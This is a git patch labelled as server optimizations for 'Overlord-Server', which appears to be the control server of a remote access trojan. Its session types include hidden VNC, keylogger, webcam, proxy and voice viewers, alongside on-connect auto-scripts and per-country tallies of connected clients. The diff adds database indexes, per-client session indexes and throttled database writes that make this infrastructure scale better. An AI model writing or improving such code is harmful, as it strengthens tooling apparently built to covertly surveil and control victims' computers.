From 6b02ea59afbae4976449d17b6a89d0e4d97c103a Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 9 Mar 2026 22:43:33 -0500 Subject: [PATCH] big server optimizations --- Overlord-Server/src/db.ts | 71 ++++++++++++ .../src/server/routes/misc-routes.ts | 44 ++------ .../routes/websocket-lifecycle-routes.ts | 15 +-- .../src/server/websocket-runtime.ts | 6 +- .../src/server/ws-console-rd-hvnc.ts | 30 ++--- .../src/sessions/sessionManager.ts | 104 +++++++++++++++++- Overlord-Server/src/wsHandlers.ts | 54 ++++++--- Overlord-Server/src/wsValidation.ts | 4 +- 8 files changed, 243 insertions(+), 85 deletions(-) diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index 7ec59d2..f091855 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -36,6 +36,15 @@ try { try { db.run(`ALTER TABLE clients ADD COLUMN ip TEXT`); } catch {} +db.run( + `CREATE INDEX IF NOT EXISTS idx_clients_online_last_seen ON clients(online, last_seen DESC);`, +); +db.run( + `CREATE INDEX IF NOT EXISTS idx_clients_os_last_seen ON clients(os, last_seen DESC);`, +); +db.run( + `CREATE INDEX IF NOT EXISTS idx_clients_ping_ms ON clients(ping_ms);`, +); db.run(` CREATE TABLE IF NOT EXISTS banned_ips ( @@ -321,6 +330,68 @@ export function listClients(filters: ListFilters): ListResult { return { page, pageSize, total: totalRow.c, online: onlineRow.c, items }; } +export type ClientMetricsSummary = { + total: number; + online: number; + byOS: Record; + byCountry: Record; + byOSOnline: Record; + byCountryOnline: Record; +}; + +export function getClientMetricsSummary(): ClientMetricsSummary { + const counts = db + .query<{ total: number; online: number }>( + `SELECT COUNT(*) as total, SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online FROM clients`, + ) + .get() ?? { total: 0, online: 0 }; + + const osRows = db + .query<{ key: string; total: number; online: number }>( + `SELECT + COALESCE(NULLIF(os, ''), 'unknown') as key, + COUNT(*) as total, + SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online + FROM clients + GROUP BY COALESCE(NULLIF(os, ''), 'unknown')`, + ) + .all(); + + const countryRows = db + .query<{ key: string; total: number; online: number }>( + `SELECT + COALESCE(NULLIF(country, ''), 'ZZ') as key, + COUNT(*) as total, + SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online + FROM clients + GROUP BY COALESCE(NULLIF(country, ''), 'ZZ')`, + ) + .all(); + + const byOS: Record = {}; + const byOSOnline: Record = {}; + for (const row of osRows) { + byOS[row.key] = Number(row.total) || 0; + byOSOnline[row.key] = Number(row.online) || 0; + } + + const byCountry: Record = {}; + const byCountryOnline: Record = {}; + for (const row of countryRows) { + byCountry[row.key] = Number(row.total) || 0; + byCountryOnline[row.key] = Number(row.online) || 0; + } + + return { + total: Number(counts.total) || 0, + online: Number(counts.online) || 0, + byOS, + byCountry, + byOSOnline, + byCountryOnline, + }; +} + export type AutoScriptTrigger = "on_connect" | "on_first_connect" | "on_connect_once"; export type AutoScript = { diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts index b0b1e88..658d2ca 100644 --- a/Overlord-Server/src/server/routes/misc-routes.ts +++ b/Overlord-Server/src/server/routes/misc-routes.ts @@ -1,9 +1,7 @@ import { authenticateRequest } from "../../auth"; -import * as clientManager from "../../clientManager"; import { AuditAction, getAuditLogs, logAudit } from "../../auditLog"; import { getConfig, updateSecurityConfig, updateTlsConfig } from "../../config"; -import { listClients } from "../../db"; -import { logger } from "../../logger"; +import { getClientMetricsSummary } from "../../db"; import { metrics } from "../../metrics"; import { requirePermission } from "../../rbac"; import { runCertbotSetup } from "../certbot-setup"; @@ -34,40 +32,12 @@ export async function handleMiscRoutes( const snapshot = metrics.getSnapshot(); - const clientList = listClients({ page: 1, pageSize: 10000, search: "", sort: "last_seen_desc" }); - logger.debug( - `[metrics] Database reports: total=${clientList.total}, online=${clientList.online}, items=${clientList.items.length}`, - ); - logger.debug(`[metrics] In-memory clients map size: ${clientManager.getClientCount()}`); - - snapshot.clients.total = clientList.total; - snapshot.clients.online = clientList.online; - snapshot.clients.offline = clientList.total - clientList.online; - - const byOS: Record = {}; - const byCountry: Record = {}; - const byOSOnline: Record = {}; - const byCountryOnline: Record = {}; - let onlineCounted = 0; - const totalItems = clientList.items.length; - for (const item of clientList.items) { - if (item.os) { - byOS[item.os] = (byOS[item.os] || 0) + 1; - } - if (item.country) { - byCountry[item.country] = (byCountry[item.country] || 0) + 1; - } - if (!item.online) continue; - onlineCounted++; - if (item.os) { - byOSOnline[item.os] = (byOSOnline[item.os] || 0) + 1; - } - if (item.country) { - byCountryOnline[item.country] = (byCountryOnline[item.country] || 0) + 1; - } - } - snapshot.clients.byOS = byOS; - snapshot.clients.byCountry = byCountry; + const clientSummary = getClientMetricsSummary(); + snapshot.clients.total = clientSummary.total; + snapshot.clients.online = clientSummary.online; + snapshot.clients.offline = clientSummary.total - clientSummary.online; + snapshot.clients.byOS = clientSummary.byOS; + snapshot.clients.byCountry = clientSummary.byCountry; snapshot.sessions.console = deps.getConsoleSessionCount(); snapshot.sessions.remoteDesktop = deps.getRdSessionCount(); diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index fae1940..b702702 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -9,7 +9,7 @@ import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol"; import * as sessionManager from "../../sessions/sessionManager"; import type { SocketData } from "../../sessions/types"; import type { ClientInfo } from "../../types"; -import { handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers"; +import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers"; import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation"; type PendingScript = { @@ -326,12 +326,12 @@ export function handleWebSocketClose( for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) { if (sess.viewer === ws) { removedClientId = sess.clientId; - sessionManager.getAllRdSessions().delete(sid); + sessionManager.deleteRdSession(sid); break; } } - const stillViewing = Array.from(sessionManager.getAllRdSessions().values()).some((s) => s.clientId === removedClientId); + const stillViewing = sessionManager.hasRdSessionsForClient(removedClientId); if (!stillViewing) { const target = clientManager.getClient(removedClientId); deps.sendDesktopCommand(target, "desktop_stop", {}); @@ -346,12 +346,12 @@ export function handleWebSocketClose( for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) { if (sess.viewer === ws) { removedClientId = sess.clientId; - sessionManager.getAllWebcamSessions().delete(sid); + sessionManager.deleteWebcamSession(sid); break; } } - const stillViewing = Array.from(sessionManager.getAllWebcamSessions().values()).some((s) => s.clientId === removedClientId); + const stillViewing = sessionManager.hasWebcamSessionsForClient(removedClientId); if (!stillViewing) { const target = clientManager.getClient(removedClientId); deps.sendDesktopCommand(target, "webcam_stop", {}); @@ -366,12 +366,12 @@ export function handleWebSocketClose( for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) { if (sess.viewer === ws) { removedClientId = sess.clientId; - sessionManager.getAllHvncSessions().delete(sid); + sessionManager.deleteHvncSession(sid); break; } } - const stillViewing = Array.from(sessionManager.getAllHvncSessions().values()).some((s) => s.clientId === removedClientId); + const stillViewing = sessionManager.hasHvncSessionsForClient(removedClientId); if (!stillViewing) { const target = clientManager.getClient(removedClientId); if (target) { @@ -424,6 +424,7 @@ export function handleWebSocketClose( } clientManager.deleteClient(clientId); + clearClientSyncState(clientId); deps.notifyConsoleClosed(clientId, "Client disconnected"); setOnlineState(clientId, false); deps.clearPendingNotificationScreenshots(clientId); diff --git a/Overlord-Server/src/server/websocket-runtime.ts b/Overlord-Server/src/server/websocket-runtime.ts index 07eb8be..85f13b4 100644 --- a/Overlord-Server/src/server/websocket-runtime.ts +++ b/Overlord-Server/src/server/websocket-runtime.ts @@ -27,8 +27,12 @@ export function createWebSocketRuntime(deps: { handleWebSocketMessage: MessageHandler; handleWebSocketClose: CloseHandler; }) { + const wsDeflateEnabled = String(process.env.OVERLORD_WS_PERMESSAGE_DEFLATE || "true") + .trim() + .toLowerCase() !== "false"; + return { - perMessageDeflate: true, + perMessageDeflate: wsDeflateEnabled, maxPayloadLength: Math.max(deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes), idleTimeout: 255, sendPings: true, diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 8e1bee2..3aec6ca 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -94,8 +94,7 @@ export function notifyRdInputLatency(commandId: string) { rdInputPending.delete(commandId); const ms = Date.now() - pending.sentAt; - for (const session of sessionManager.getAllRdSessions().values()) { - if (session.clientId !== pending.clientId) continue; + for (const session of sessionManager.getRdSessionsForClient(pending.clientId)) { safeSendViewer(session.viewer, { type: "input_latency", ms, kind: pending.kind, commandId }); } } @@ -188,7 +187,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket) { const sessionId = uuidv4(); const target = clientManager.getClient(clientId); const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; - sessionManager.getAllRdSessions().set(sessionId, session); + sessionManager.addRdSession(session); safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); if (!target) { safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); @@ -198,8 +197,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket) { } export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) { - for (const session of sessionManager.getAllRdSessions().values()) { - if (session.clientId !== clientId) continue; + for (const session of sessionManager.getRdSessionsForClient(clientId)) { safeSendViewer(session.viewer, { type: "status", status, @@ -357,8 +355,7 @@ function handleRemoteDesktopFrame(payload: any) { if (!state.isStreaming) { rdStreamingState.set(clientId, { ...state, isStreaming: true }); } - for (const session of sessionManager.getAllRdSessions().values()) { - if (session.clientId !== clientId) continue; + for (const session of sessionManager.getRdSessionsForClient(clientId)) { const sentBytes = safeSendViewerFrame(session.viewer, bytes, header); const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now(); rdSendStats.frames += 1; @@ -371,8 +368,7 @@ function handleRemoteDesktopFrame(payload: any) { (globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => { let sent = false; const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now(); - for (const session of sessionManager.getAllRdSessions().values()) { - if (session.clientId !== clientId) continue; + for (const session of sessionManager.getRdSessionsForClient(clientId)) { const sentBytes = safeSendViewerFrame(session.viewer, bytes, header); const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now(); rdSendStats.frames += 1; @@ -392,7 +388,7 @@ export function handleWebcamViewerOpen(ws: ServerWebSocket) { const sessionId = uuidv4(); const target = clientManager.getClient(clientId); const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; - sessionManager.getAllWebcamSessions().set(sessionId, session); + sessionManager.addWebcamSession(session); safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); if (!target) { safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); @@ -403,8 +399,7 @@ export function handleWebcamViewerOpen(ws: ServerWebSocket) { } export function handleWebcamDevices(clientId: string, payload: any) { - for (const session of sessionManager.getAllWebcamSessions().values()) { - if (session.clientId !== clientId) continue; + for (const session of sessionManager.getWebcamSessionsForClient(clientId)) { safeSendViewer(session.viewer, payload); } } @@ -471,7 +466,7 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket) { const sessionId = uuidv4(); const target = clientManager.getClient(clientId); const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; - sessionManager.getAllHvncSessions().set(sessionId, session); + sessionManager.addHvncSession(session); safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); if (!target) { safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); @@ -481,8 +476,7 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket) { } function notifyHVNCStatus(clientId: string, status: string, reason?: string) { - for (const session of sessionManager.getAllHvncSessions().values()) { - if (session.clientId !== clientId) continue; + for (const session of sessionManager.getHvncSessionsForClient(clientId)) { safeSendViewer(session.viewer, { type: "status", status, @@ -598,8 +592,7 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload (globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => { let sent = false; - for (const session of sessionManager.getAllHvncSessions().values()) { - if (session.clientId !== clientId) continue; + for (const session of sessionManager.getHvncSessionsForClient(clientId)) { safeSendViewerFrame(session.viewer, bytes, header); sent = true; } @@ -608,8 +601,7 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload (globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => { let sent = false; - for (const session of sessionManager.getAllWebcamSessions().values()) { - if (session.clientId !== clientId) continue; + for (const session of sessionManager.getWebcamSessionsForClient(clientId)) { safeSendViewerFrame(session.viewer, bytes, header); sent = true; } diff --git a/Overlord-Server/src/sessions/sessionManager.ts b/Overlord-Server/src/sessions/sessionManager.ts index 0017e8c..75258e5 100644 --- a/Overlord-Server/src/sessions/sessionManager.ts +++ b/Overlord-Server/src/sessions/sessionManager.ts @@ -14,6 +14,9 @@ const consoleSessions = new Map(); const rdSessions = new Map(); const webcamSessions = new Map(); const hvncSessions = new Map(); // HVNC uses same structure as RD +const rdSessionsByClient = new Map>(); +const webcamSessionsByClient = new Map>(); +const hvncSessionsByClient = new Map>(); const fileBrowserSessions = new Map(); const processSessions = new Map(); const notificationSessions = new Map(); @@ -21,6 +24,32 @@ const keyloggerSessions = new Map(); const proxySessions = new Map(); // Reusing KeyloggerViewer interface for consistency const voiceSessions = new Map(); +function addSessionToClientIndex( + index: Map>, + clientId: string, + sessionId: string, +): void { + let set = index.get(clientId); + if (!set) { + set = new Set(); + index.set(clientId, set); + } + set.add(sessionId); +} + +function removeSessionFromClientIndex( + index: Map>, + clientId: string, + sessionId: string, +): void { + const set = index.get(clientId); + if (!set) return; + set.delete(sessionId); + if (set.size === 0) { + index.delete(clientId); + } +} + export function addConsoleSession(session: ConsoleSession): void { consoleSessions.set(session.id, session); } @@ -47,10 +76,12 @@ export function getAllConsoleSessions(): Map { export function addRdSession(session: RemoteDesktopViewer): void { rdSessions.set(session.id, session); + addSessionToClientIndex(rdSessionsByClient, session.clientId, session.id); } export function addWebcamSession(session: RemoteDesktopViewer): void { webcamSessions.set(session.id, session); + addSessionToClientIndex(webcamSessionsByClient, session.clientId, session.id); } export function getWebcamSession( @@ -60,11 +91,31 @@ export function getWebcamSession( } export function deleteWebcamSession(sessionId: string): boolean { - return webcamSessions.delete(sessionId); + const existing = webcamSessions.get(sessionId); + if (!existing) return false; + webcamSessions.delete(sessionId); + removeSessionFromClientIndex(webcamSessionsByClient, existing.clientId, sessionId); + return true; } export function getWebcamSessionsByClient(clientId: string): RemoteDesktopViewer[] { - return Array.from(webcamSessions.values()).filter((s) => s.clientId === clientId); + return getWebcamSessionsForClient(clientId); +} + +export function getWebcamSessionsForClient(clientId: string): RemoteDesktopViewer[] { + const ids = webcamSessionsByClient.get(clientId); + if (!ids || ids.size === 0) return []; + const sessions: RemoteDesktopViewer[] = []; + for (const id of ids) { + const session = webcamSessions.get(id); + if (session) sessions.push(session); + } + return sessions; +} + +export function hasWebcamSessionsForClient(clientId: string): boolean { + const ids = webcamSessionsByClient.get(clientId); + return Boolean(ids && ids.size > 0); } export function getAllWebcamSessions(): Map { @@ -78,11 +129,31 @@ export function getRdSession( } export function deleteRdSession(sessionId: string): boolean { - return rdSessions.delete(sessionId); + const existing = rdSessions.get(sessionId); + if (!existing) return false; + rdSessions.delete(sessionId); + removeSessionFromClientIndex(rdSessionsByClient, existing.clientId, sessionId); + return true; } export function getRdSessionsByClient(clientId: string): RemoteDesktopViewer[] { - return Array.from(rdSessions.values()).filter((s) => s.clientId === clientId); + return getRdSessionsForClient(clientId); +} + +export function getRdSessionsForClient(clientId: string): RemoteDesktopViewer[] { + const ids = rdSessionsByClient.get(clientId); + if (!ids || ids.size === 0) return []; + const sessions: RemoteDesktopViewer[] = []; + for (const id of ids) { + const session = rdSessions.get(id); + if (session) sessions.push(session); + } + return sessions; +} + +export function hasRdSessionsForClient(clientId: string): boolean { + const ids = rdSessionsByClient.get(clientId); + return Boolean(ids && ids.size > 0); } export function getAllRdSessions(): Map { @@ -93,6 +164,7 @@ export function getAllRdSessions(): Map { export function addHvncSession(session: RemoteDesktopViewer): void { hvncSessions.set(session.id, session); + addSessionToClientIndex(hvncSessionsByClient, session.clientId, session.id); } export function getHvncSession( @@ -102,11 +174,31 @@ export function getHvncSession( } export function deleteHvncSession(sessionId: string): boolean { - return hvncSessions.delete(sessionId); + const existing = hvncSessions.get(sessionId); + if (!existing) return false; + hvncSessions.delete(sessionId); + removeSessionFromClientIndex(hvncSessionsByClient, existing.clientId, sessionId); + return true; } export function getHvncSessionsByClient(clientId: string): RemoteDesktopViewer[] { - return Array.from(hvncSessions.values()).filter((s) => s.clientId === clientId); + return getHvncSessionsForClient(clientId); +} + +export function getHvncSessionsForClient(clientId: string): RemoteDesktopViewer[] { + const ids = hvncSessionsByClient.get(clientId); + if (!ids || ids.size === 0) return []; + const sessions: RemoteDesktopViewer[] = []; + for (const id of ids) { + const session = hvncSessions.get(id); + if (session) sessions.push(session); + } + return sessions; +} + +export function hasHvncSessionsForClient(clientId: string): boolean { + const ids = hvncSessionsByClient.get(clientId); + return Boolean(ids && ids.size > 0); } export function getAllHvncSessions(): Map { diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index 0c28f10..8f7e5d2 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -12,6 +12,21 @@ import { upsertClientRow } from "./db"; import { metrics } from "./metrics"; const MAX_PING_RTT_MS = 15_000; +const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000); +const lastClientDbSync = new Map(); + +function shouldSyncClientToDb(clientId: string, now: number): boolean { + const last = lastClientDbSync.get(clientId) || 0; + if (now - last < CLIENT_DB_SYNC_INTERVAL_MS) { + return false; + } + lastClientDbSync.set(clientId, now); + return true; +} + +export function clearClientSyncState(clientId: string): void { + lastClientDbSync.delete(clientId); +} export function handleHello( info: ClientInfo, @@ -62,13 +77,16 @@ export function handleHello( export function handlePing(info: ClientInfo, payload: WireMessage, ws: any) { //console.log(`[ping] from client=${info.id} ts=${payload.ts ?? ""}`); - info.lastSeen = Date.now(); + const now = Date.now(); + info.lastSeen = now; info.online = true; - upsertClientRow({ - id: info.id, - lastSeen: info.lastSeen, - online: 1, - }); + if (shouldSyncClientToDb(info.id, now)) { + upsertClientRow({ + id: info.id, + lastSeen: info.lastSeen, + online: 1, + }); + } ws.send(encodeMessage({ type: "pong", ts: payload.ts || Date.now() })); sendPingRequest(info, ws, "client_ping"); } @@ -112,15 +130,18 @@ export function handlePong(info: ClientInfo, payload: WireMessage) { const rtt = now - info.lastPingSent; if (rtt >= 0 && rtt < maxRttMs) { - info.lastSeen = Date.now(); + const nowTs = Date.now(); + info.lastSeen = nowTs; info.online = true; info.pingMs = rtt; - upsertClientRow({ - id: info.id, - pingMs: info.pingMs, - lastSeen: info.lastSeen, - online: 1, - }); + if (shouldSyncClientToDb(info.id, nowTs)) { + upsertClientRow({ + id: info.id, + pingMs: info.pingMs, + lastSeen: info.lastSeen, + online: 1, + }); + } metrics.recordPing(rtt); info.lastPingNonce = undefined; @@ -163,10 +184,15 @@ export function handleFrame(info: ClientInfo, payload: any) { } catch {} if (safeFormat) { + const now = Date.now(); setLatestFrame(info.id, bytes, safeFormat); if (consumeThumbnailRequest(info.id) || !getThumbnail(info.id)) { generateThumbnail(info.id); } - upsertClientRow({ id: info.id, lastSeen: Date.now(), online: 1 }); + info.lastSeen = now; + info.online = true; + if (shouldSyncClientToDb(info.id, now)) { + upsertClientRow({ id: info.id, lastSeen: now, online: 1 }); + } } } diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts index b768c7d..f355b27 100644 --- a/Overlord-Server/src/wsValidation.ts +++ b/Overlord-Server/src/wsValidation.ts @@ -1,5 +1,7 @@ export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer"; +const textEncoder = new TextEncoder(); + export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([ "hello", "ping", @@ -35,7 +37,7 @@ export function getMessageByteLength( message: string | ArrayBuffer | Uint8Array, ): number { if (typeof message === "string") { - return new TextEncoder().encode(message).length; + return textEncoder.encode(message).length; } if (message instanceof ArrayBuffer) { return message.byteLength;